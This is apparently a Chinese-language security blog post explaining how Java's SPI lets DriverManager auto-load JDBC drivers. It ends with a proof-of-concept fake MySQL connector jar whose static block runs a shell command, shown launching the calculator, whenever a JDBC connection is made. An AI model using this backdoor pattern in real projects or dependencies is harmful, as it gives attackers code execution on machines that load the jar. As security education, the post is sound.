SPI机制的安全问题
什么是SPI?
Service Provider Interface,是JDK内置的⼀种服务提供发现机制,可以⽤来启动框架扩 展和替换组建。服务提供接⼝,不同⼚商可以针对同⼀个接⼝做出不同的实现。 当服务提供者提供了⼀种接⼝的实现之后,需要在classpath下的 META-INF/services/ ⽬录 下创建⼀个以服务接⼝命名的⽂件,⽂件内容就是这个接⼝的具体实现类。 当程序需要这个服务时,就可以通过查找这个jar包的 META-INF/services/ 中的配置⽂件, 配置⽂件中有接⼝的具体实现类名,可以根据这个类名进⾏加载实例化。
Mysql JDBC示例
1 2 3 4 5 6
| public class javaclient { public static void main(String[] args) throws ClassNotFoundException, SQLException { String DB_URL = "jdbc:mysql://127.0.0.1:3306/mysql?useSSL=false&allowLoadLocalInfile=true&maxAllowedPacket=65535"; Connection conn = DriverManager.getConnection(DB_URL,"root","root"); } }
|
因为SPI机制的缘故,我们并不用编写实现类com.mysql.jdbc.Driver
(CLASS_NAME)
省略掉了Class.forName(CLASS_NAME);
工作原理
JDBC连接分为两步
1
| Class.forName(CLASS_NAME);
|
由于动态类加载,该段代码会触发驱动类的静态代码块
调用register方法
DriverManager.registerDriver(registeredDriver);
相当于就注册了一个驱动类
1
| Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);
|
为什么可以省略DriverManager.registerDriver呢?因为在当DriverManager
类被访问或引用时,Java虚拟机会加载该类。而加载该类便会触发其static代码块
调用loadInitialDrivers()方法,创建了一个匿名内部类实现了PrivilegedAction<Void>
接口,并重写了其中的run()
方法。代码运行到此时也会运行run方法。
调用了ServiceLoader.load(Driver.class);
ClassLoader cl = Thread.currentThread().getContextClassLoader();
获取当前线程的上下文类加载器,然后调用另一个load重载方法
返回一个ServiceLoader对象
对象封装了类加载器等信息,回到loadInitialDrivers()方法
调用ServiceLoader的hasNext()方法
继续调用knownProviders的hasNext()方法
返回一个false,继续调用lookupIterator.hasNext()
继续调用hasNextService()方法
可以看到fullName就是相应的实现类
最后会调⽤getResources⽅法,AppClassLoader类加载器的getResources⽅法主要⽤于 在类路径下查找指定名称的资源,并返回⼀个URL枚举对象 最后调⽤parse⽅法
configs.nextElement()
即返回资源路径,那么最后返回一个true,调用driversIterator.next(),然后进入LazyIterator的next方法
调用nextService()方法
动态加载驱动类,调用其静态代码块,也就注册一个驱动类
这就是SPI机制。
实现JDBC Driver后门
spi机制会遍历路径下的所有实现类
如果在classpath下能存在⼀个恶意的驱动,我们就能加载恶意类,这个类的静态代码块 写有⼀些恶意⽅法,那么我们就能实现危险攻击 制作⼀个fake-mysql-connector.jar ⽬录结构
其中SQLDriver需要java.sql.Driver接⼝,还需要实现接⼝⽅法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| package com.mysql.fake.jdbc; import java.sql.Connection; import java.sql.DriverPropertyInfo; import java.util.Properties; import java.util.logging.Logger; public class SQLDriver implements java.sql.Driver{ protected static boolean DEBUG = false; protected static final String WindowsCmd = "calc"; protected static final String LinuxCmd = "open -a calculator"; protected static String shell; protected static String args; protected static String cmd; static{ if( System.getProperty("os.name").toLowerCase().contains("windows") ){ shell = "cmd.exe"; args = "/c"; cmd = WindowsCmd; } else { shell = "/bin/sh"; args = "-c"; cmd = LinuxCmd; } try{ Runtime.getRuntime().exec(new String[] {shell, args, cmd}); } catch(Exception ignored) { } } public boolean acceptsURL(String url){ if(DEBUG){ Logger.getGlobal().info("acceptsURL() called: "+url); } return false; } public Connection connect(String url, Properties info){ if(DEBUG){ Logger.getGlobal().info("connect() called: "+url); } return null; } public int getMajorVersion(){ if(DEBUG){ Logger.getGlobal().info("getMajorVersion() called"); } return 1; }
public int getMinorVersion(){ if(DEBUG){ Logger.getGlobal().info("getMajorVersion() called"); } return 0; } public Logger getParentLogger(){ if(DEBUG){ Logger.getGlobal().info("getParentLogger() called"); } return null; } public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){ if(DEBUG){ Logger.getGlobal().info("getPropertyInfo() called: "+url); } return new DriverPropertyInfo[0]; } public boolean jdbcCompliant(){ if(DEBUG){ Logger.getGlobal().info("jdbcCompliant() called"); } return true; } }
|
将项⽬打包成⼀个jar包,然后将我们做的这个jar包加进classpath中,发起⼀起JDBC连接,就会触发SQLDriver的 静态代码块,造成RCE